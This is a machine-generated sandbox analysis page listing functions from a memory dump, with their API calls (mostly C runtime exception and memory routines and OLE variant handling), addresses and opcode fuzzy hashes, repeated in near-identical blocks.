Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID:
API String ID: 2655171816-0
Opcode ID: f84c7b2a3aa3cd67c376f9e5557dd4008eb03a9ea2cd85e982e8cb277d0efd71
Instruction ID: 28fd07abe87dc781cb811ed3a2aba130eb4db5f4f18b59d42ea5f05734827d9f
Opcode Fuzzy Hash: f84c7b2a3aa3cd67c376f9e5557dd4008eb03a9ea2cd85e982e8cb277d0efd71
Instruction Fuzzy Hash: BC51B0753047069FEB04DF69D984A2FB3E9AFC8604F10492DE495D3B40EB36ED098B92

Function 6CF6D4B0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF6D5E4
__CxxThrowException@8.LIBCMT ref: 6CF6D5F9
std::exception::exception.LIBCMT ref: 6CF6D608
__CxxThrowException@8.LIBCMT ref: 6CF6D61D

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 4e182ffe891e8e07bec46b716025b88523d964c2ac7b0187ace18e7270cb7b0a
Instruction ID: 8e24ef9d039609661a34972f1a68e0100c6ee9110e33be5c5573722a7fdced7f
Opcode Fuzzy Hash: 4e182ffe891e8e07bec46b716025b88523d964c2ac7b0187ace18e7270cb7b0a
Instruction Fuzzy Hash: F35149B1A00649AFC704DFA9C980A89BBF4FF08304F54866EE419D7F40D771EA14CBA1

Function 6CF75F00 Relevance: 6.1, APIs: 4, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF76035
__CxxThrowException@8.LIBCMT ref: 6CF7604A
std::exception::exception.LIBCMT ref: 6CF76059
__CxxThrowException@8.LIBCMT ref: 6CF7606E

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 6c4c2cf70b95fe0a064540668f035bd3059e61625cbb857faa3ba386a6d48e76
Instruction ID: d24e6b42c33be03a13c41e8f53740757cba2b3d78a885cbd1ed0357afc49fe01
Opcode Fuzzy Hash: 6c4c2cf70b95fe0a064540668f035bd3059e61625cbb857faa3ba386a6d48e76
Instruction Fuzzy Hash: 45516CB1A0064AAFC704CFA9D980A89FBF4FF08304F14866EE519D7B50D771EA14CBA1

Function 6CF6DE50 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF6DE81
VariantClear.OLEAUT32(?), ref: 6CF6DF3C
VariantClear.OLEAUT32(?), ref: 6CF6DF6D
VariantClear.OLEAUT32(?), ref: 6CF6DF8B

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$Init
String ID:
API String ID: 3740757921-0
Opcode ID: 5f2957cb90e316bc1daefb24bd845aa6efe1397436ec27fce3b1590779a31fab
Instruction ID: ecc16a9d1518316da06c16d1378cccd4c244bad1550ca21c0423d2b6af54497e
Opcode Fuzzy Hash: 5f2957cb90e316bc1daefb24bd845aa6efe1397436ec27fce3b1590779a31fab
Instruction Fuzzy Hash: 884179726082419FD700DF2AC840B9AB7F8FF99714F148A6AF9549BB50D731E805CB92

Function 6CF75DB0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF75E87
__CxxThrowException@8.LIBCMT ref: 6CF75E9C
std::exception::exception.LIBCMT ref: 6CF75EAB
__CxxThrowException@8.LIBCMT ref: 6CF75EC0

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: b21c05c5ccf2bafa684fc261eac3b31e62a4311070be5610e08acfc4a70e36fd
Instruction ID: 0c8bcc7b0d4ce098125f0589ba445b433a8b5a605d3ddf8cfcb40b33767d90ef
Opcode Fuzzy Hash: b21c05c5ccf2bafa684fc261eac3b31e62a4311070be5610e08acfc4a70e36fd
Instruction Fuzzy Hash: 58414BB19007489FC720CF69D580A9ABBF4FB18304F44896ED45AA7B41D771EA08CBA1

Function 6CF6D360 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF6D437
__CxxThrowException@8.LIBCMT ref: 6CF6D44C
std::exception::exception.LIBCMT ref: 6CF6D45B
__CxxThrowException@8.LIBCMT ref: 6CF6D470

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: cfa8f272c483c6646d8fcf0e887b16906fb028867121c26915577bfaf08ae89f
Instruction ID: a7473b800c2a74fdcd91fbbbadd708305a83d5f963ea26530c1039ac883827c4
Opcode Fuzzy Hash: cfa8f272c483c6646d8fcf0e887b16906fb028867121c26915577bfaf08ae89f
Instruction Fuzzy Hash: E2412BB19007489FC720CF69D580A8ABBF4FF19304F54896ED55AA7B41D771FA08CBA1

Function 6CFB2B80 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

Part of subcall function 6CF86480: __CxxThrowException@8.LIBCMT ref: 6CF86518
Part of subcall function 6CF86480: __CxxThrowException@8.LIBCMT ref: 6CF86558

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CFB2C9A
__CxxThrowException@8.LIBCMT ref: 6CFB2CB1
std::exception::exception.LIBCMT ref: 6CFB2CC3
__CxxThrowException@8.LIBCMT ref: 6CFB2CDA

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$_malloc
String ID:
API String ID: 3942750879-0
Opcode ID: f63164c68231e9c654653479d668e776a7901d9928c39d22b7ab9e68f319d631
Instruction ID: c41cd6c1373588a72f52d7929ee9b207804d9c2c3bb861e55ab31d8349db2457
Opcode Fuzzy Hash: f63164c68231e9c654653479d668e776a7901d9928c39d22b7ab9e68f319d631
Instruction Fuzzy Hash: 794139B15187419FC314CF59C480A8AFBF4FF99714F508A2EF19A97B50D771A508CB92

Function 6CF7C410 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF7C478
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF7C488
SafeArrayGetElement.OLEAUT32(?,00000001,?), ref: 6CF7C4B4
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7C512

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$DestroyElement
String ID:
API String ID: 3987547017-0
Opcode ID: 9d7c4ad7fd3993c2d549ef4556a86ce1e1e25d94da3d0648dccd7065ed574e71
Instruction ID: 1906cf8f040beb110a235d7145ff2a1659f3ba1cda3f016c839db28edfd086b6
Opcode Fuzzy Hash: 9d7c4ad7fd3993c2d549ef4556a86ce1e1e25d94da3d0648dccd7065ed574e71
Instruction Fuzzy Hash: 6A415371A00149AFDB10DFA8D884EEEBBB8FB49314F10856AF919E7640D731AA45CB60

Function 6CF7B580 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6CFD02A0), ref: 6CF7B5D5
VariantInit.OLEAUT32(?), ref: 6CF7B5E2
VariantClear.OLEAUT32(?), ref: 6CF7B685
VariantClear.OLEAUT32(6CFD02A0), ref: 6CF7B68B

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 3721ecf9e447ec4a014457f934dc5697cb43ca52e2d07811b58915c1b0eeb816
Instruction ID: 771ccb6874e08734832342a60cbbeff38db7351562177ac49f45759c41469d0d
Opcode Fuzzy Hash: 3721ecf9e447ec4a014457f934dc5697cb43ca52e2d07811b58915c1b0eeb816
Instruction Fuzzy Hash: DD419372A01209EFDB10DFA9D980B9AF7F9FF89314F24459AE90497350D776E901CBA0

Function 6CFC88C9 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6CFC88FD
__isleadbyte_l.LIBCMT ref: 6CFC8930
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?), ref: 6CFC8961
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?), ref: 6CFC89CF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: b64149ac559df1ef5a510d85f01df4bca7eb0c7e78e0882406b3a9a72443b50a
Instruction ID: 9d3eb279aee5b53133160950c0f84f9519c6ac09513fdb29828801c03eb6c1c9
Opcode Fuzzy Hash: b64149ac559df1ef5a510d85f01df4bca7eb0c7e78e0882406b3a9a72443b50a
Instruction Fuzzy Hash: D831A031B05287EFDB10DFA8C884AAF3BB5BF02314F2545AAE5A49B990D731D940DB52

Function 6CF55A30 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF55ACB
__CxxThrowException@8.LIBCMT ref: 6CF55AE0
std::exception::exception.LIBCMT ref: 6CF55B18
__CxxThrowException@8.LIBCMT ref: 6CF55B2D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc
String ID:
API String ID: 3153320871-0
Opcode ID: d790d93ab3c1dec8e4867ca1f16844f5ffc6ef2b65c0370a9f8ad791831eea2d
Instruction ID: 611ab465cb3f63879a4acdc8a847bf17a0cd1783d7c5adaf782fb2a88ea929df
Opcode Fuzzy Hash: d790d93ab3c1dec8e4867ca1f16844f5ffc6ef2b65c0370a9f8ad791831eea2d
Instruction Fuzzy Hash: 713197B5910608ABCB04DF59D8419DAB7F8FF58740F00C66EE91597B40EB70AA04CBA1

Function 6CF68470 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

InitializeCriticalSection.KERNEL32(00000000,00000000,6CF65D89,00000000,00000004,00000000,?,00000000,00000000), ref: 6CF684EA
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000), ref: 6CF684F0
std::exception::exception.LIBCMT ref: 6CF6853C
__CxxThrowException@8.LIBCMT ref: 6CF68551

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalInitializeSection$Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 3005353045-0
Opcode ID: 3b9868e030a1e664b6988ce27a3dc8992b795e3c0624550d58c4a0b5449f70d5
Instruction ID: c038f85442ad847cb5d9ad78d44fea7222f6cf332dd996ff4ab03b5e1782d323
Opcode Fuzzy Hash: 3b9868e030a1e664b6988ce27a3dc8992b795e3c0624550d58c4a0b5449f70d5
Instruction Fuzzy Hash: EB3138B1A01604AFC714CF69C480A9AFBF8FB19210F508A6EE95697B41D771FA44CB90

Function 6CF7DC40 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6CF7DCC5

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

__CxxThrowException@8.LIBCMT ref: 6CF7DCDA

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF7DD09
__CxxThrowException@8.LIBCMT ref: 6CF7DD1E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 399550787-0
Opcode ID: b5a8c69ab7826f7541c4315c86afb69a592054558cf933aa6c66bb3f3257424b
Instruction ID: 3af9590ce2d95a89d925c3842b00624fd85039a48874a1c429ea6624611ab9da
Opcode Fuzzy Hash: b5a8c69ab7826f7541c4315c86afb69a592054558cf933aa6c66bb3f3257424b
Instruction Fuzzy Hash: 773140B6900209AFD704DF99D841A9EBBF8FF58300F44855EE919A7750DB70EB04CBA1

Function 6CFC2645 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6CFC2653

Part of subcall function 6CFB9D66: __FF_MSGBANNER.LIBCMT ref: 6CFB9D7F
Part of subcall function 6CFB9D66: __NMSG_WRITE.LIBCMT ref: 6CFB9D86
Part of subcall function 6CFB9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6CFB9BD4,6CF51290,CA0C7769), ref: 6CFB9DAB

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
